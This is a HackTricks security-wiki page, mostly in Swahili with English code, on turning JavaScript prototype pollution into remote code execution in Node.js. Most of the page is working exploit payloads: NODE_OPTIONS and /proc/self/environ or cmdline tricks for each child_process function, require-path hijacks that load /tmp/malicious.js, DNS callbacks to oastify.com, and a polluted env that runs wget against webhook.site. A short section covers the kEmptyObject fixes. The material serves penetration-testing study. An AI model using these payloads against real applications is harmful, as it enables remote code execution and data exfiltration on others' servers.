Prototype Pollution to RCE

Reading time: 19 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Vulnerable Code

Fikiria JS halisi ikitumia baadhi ya msimbo kama ifuatavyo:

javascript
const { execSync, fork } = require("child_process")

function isObject(obj) {
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}

function clone(target) {
return merge({}, target)
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT)

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")

PP2RCE kupitia env vars

PP2RCE inamaanisha Prototype Pollution to RCE (Remote Code Execution).

Kulingana na hii writeup wakati mchakato unazalishwa kwa njia fulani kutoka child_process (kama fork au spawn au nyinginezo) inaita njia normalizeSpawnArguments ambayo ni gadget ya prototype pollution kuunda env vars mpya:

javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

Angalia hiyo code unaweza kuona inawezekana kuharibu envPairs tu kwa kuongeza uchafu kwenye attribute .env.

Kuharibu __proto__

warning

Kumbuka kwamba kutokana na jinsi normalizeSpawnArguments inavyofanya kazi kutoka kwa maktaba ya child_process ya node, wakati kitu kinapoitwa ili kuweka variable mpya ya env kwa mchakato unahitaji tu kuongeza uchafu chochote.
Kwa mfano, ukifanya __proto__.avar="valuevar" mchakato utaanzishwa na var inayoitwa avar yenye thamani valuevar.

Hata hivyo, ili variable ya env iwe ya kwanza unahitaji kuongeza uchafu kwenye attribute .env na (tu katika baadhi ya mbinu) var hiyo itakuwa ya kwanza (ikuruhusu shambulio).

Ndio maana NODE_OPTIONS haipo ndani ya .env katika shambulio linalofuata.

javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec

Kuambukiza constructor.prototype

javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.constructor.prototype.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2

PP2RCE kupitia env vars + cmdline

Payload inayofanana na ile ya awali yenye mabadiliko kadhaa ilipendekezwa katika hiki andiko. Tofauti kuu ni:

  • Badala ya kuhifadhi payload ya nodejs ndani ya faili /proc/self/environ, inaihifadhi indani ya argv0 ya /proc/self/cmdline.
  • Kisha, badala ya kuhitaji kupitia NODE_OPTIONS faili /proc/self/environ, inahitaji /proc/self/cmdline.
javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec2

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec

DNS Interaction

Kwa kutumia payloads zifuatazo inawezekana kutumia NODE_OPTIONS env var tuliyoijadili hapo awali na kugundua kama ilifanya kazi kwa mwingiliano wa DNS:

json
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
}

Au, ili kuepuka WAFs kuomba jina la kikoa:

json
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE vuln child_process functions

Katika sehemu hii tutachambua kila kazi kutoka child_process ili kutekeleza msimbo na kuona kama tunaweza kutumia mbinu yoyote kulazimisha kazi hiyo kutekeleza msimbo:

exec exploitation
javascript
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec("something")

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec("something")
execFile unyakuzi
javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile("/usr/bin/node")

// stdin trick - not working
// Not using stdin

// Windows - not working

Ili execFile ifanye kazi, Lazima itekeleze node ili NODE_OPTIONS ifanye kazi.
Ikiwa haifanyi kazi ya node, unahitaji kutafuta jinsi unavyoweza kubadilisha utekelezaji wa chochote kinachotekelezwa kwa kutumia mabadiliko ya mazingira na kuyapanga.

Mbinu zingine zinafanya kazi bila hitaji hili kwa sababu inawezekana kubadilisha kile kinachotekelezwa kupitia uchafuzi wa prototype. (Katika kesi hii, hata kama unaweza kuchafua .shell, huwezi kuchafua kile kinachotekelezwa).

fork exploitation
javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork("something")

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
p = {}
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork("something")

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork("./a_file.js")

// Windows
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork("./a_file.js")
spawn unyakuzi
javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - not working
// Not using stdin

// Windows
// NOT working after require(fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync unyakuzi
javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync("something")

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync("something")

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execFileSync-stdin}\n"
var proc = execFileSync("something")

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
execSync unyakuzi
javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync("something")

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync("something")

// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"
var proc = execSync("something")

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
spawnSync unyakuzi
javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/spawnSync-stdin}\n"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

Kulazimisha Kuanzisha

Katika mifano iliyopita ulishuhudia jinsi ya kuanzisha gadget, kazi ambayo inaita spawn inahitaji kuwa ipo (mbinu zote za child_process zinazotumika kutekeleza kitu zinaiita). Katika mfano uliopita hiyo ilikuwa sehemu ya msimbo, lakini je, ikiwa msimbo hauiiti.

Kudhibiti njia ya faili ya require

Katika andika nyingine mtumiaji anaweza kudhibiti njia ya faili ambapo require itatekelezwa. Katika hali hiyo, mshambuliaji anahitaji tu kumpata faili ya .js ndani ya mfumo ambayo itatekeleza mbinu ya kuanzisha wakati inapoingizwa.
Baadhi ya mifano ya faili za kawaida zinazoita kazi ya kuanzisha wakati zinapoingizwa ni:

  • /path/to/npm/scripts/changelog.js
  • /opt/yarn-v1.22.19/preinstall.js
  • Pata faili zaidi hapa chini

Script rahisi ifuatayo itatafuta itoaji kutoka child_process bila padding yoyote (ili kuepuka kuonyesha itoaji ndani ya kazi):

bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
Faili za kuvutia zilizopatikana na skripti ya awali
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
  • node_modules/npm/scripts/changelog.js:16:const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)
  • node_modules/detect-libc/bin/detect-libc.js:18:process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);
  • node_modules/jest-expo/bin/jest.js:26:const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
  • node_modules/runtypes/scripts/format.js:13:const npmBinPath = execSync('npm bin').toString().trim();
  • node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });

Kuweka njia ya faili inayohitajika kupitia uchafuzi wa prototype

warning

Tekniki ya awali inahitaji kwamba mtumiaji anadhibiti njia ya faili ambayo itakuwa inahitajiwa. Lakini hii si kweli kila wakati.

Hata hivyo, ikiwa msimbo utaendesha hitaji baada ya uchafuzi wa prototype, hata kama huna udhibiti wa njia ambayo itakuwa inahitajiwa, unaweza kulazimisha nyingine kwa kutumia uchafuzi wa prototype. Hivyo hata kama mstari wa msimbo ni kama require("./a_file.js") au require("bytes") itakuwa inahitaji pakiti uliyopunguza.

Kwa hivyo, ikiwa hitaji linafanywa baada ya uchafuzi wako wa prototype na hakuna kazi ya spawn, hii ndiyo shambulio:

  • Tafuta faili ya .js ndani ya mfumo ambayo wakati inahitajiwa itafanya kitu kwa kutumia child_process
  • Ikiwa unaweza kupakia faili kwenye jukwaa unaloshambulia unaweza kupakia faili kama hiyo
  • Punguza njia ili kulazimisha upakuaji wa faili ya .js ambayo itafanya kitu na child_process
  • Punguza mazingira/cmdline ili kutekeleza msimbo wa kiholela wakati kazi ya utekelezaji wa child_process inaitwa (angalia mbinu za awali)

Hitaji la moja kwa moja

Ikiwa hitaji lililofanywa ni moja kwa moja (require("bytes")) na pakiti haina sehemu kuu katika faili la package.json, unaweza kupunguza sifa ya main na kufanya hitaji lifanye faili tofauti.

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require("bytes")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("bytes")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Mahitaji ya jamaa - 1

Ikiwa njia ya jamaa inapo load badala ya njia ya moja kwa moja, unaweza kufanya node iweke njia tofauti:

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Mahitaji ya jamaa - 2

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Mahitaji ya jamaa - 3

Kama ilivyo kwa ile ya awali, hii ilipatikana katika hii andiko.

javascript
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js",
},
name: "./usage",
}
Object.prototype["path"] = "/opt/yarn-v1.22.19"
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
}

require("./usage.js")

VM Gadgets

Katika karatasi https://arxiv.org/pdf/2207.11171.pdf pia inaonyesha kwamba udhibiti wa contextExtensions kutoka baadhi ya mbinu za maktaba ya vm unaweza kutumika kama gadget.
Hata hivyo, kama mbinu za awali za child_process, imekuwa imefanyiwa marekebisho katika toleo jipya.

Fixes & Unexpected protections

Tafadhali, kumbuka kwamba uchafuzi wa prototype unafanya kazi ikiwa attribute ya kitu kinachofikiwa ni undefined. Ikiwa katika code hiyo attribute ime wekwa thamani, hu wezi kuandika upya.

Mnamo Juni 2022 kutoka hiki kifungu var options badala ya {} ni kEmptyObject. Ambayo inaepusha uchafuzi wa prototype kuathiri attributes za options kupata RCE.
Angalau kuanzia v18.4.0 ulinzi huu ume tekelezwa, na kwa hivyo spawn na spawnSync exploits zinazohusiana na mbinu hazifanyi kazi tena (ikiwa hakuna options zinazotumika!).

Katika hiki kifungu uchafuzi wa prototype wa contextExtensions kutoka maktaba ya vm pia umeweza kufanyiwa marekebisho kwa kuweka options kuwa kEmptyObject badala ya {}.

Other Gadgets

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks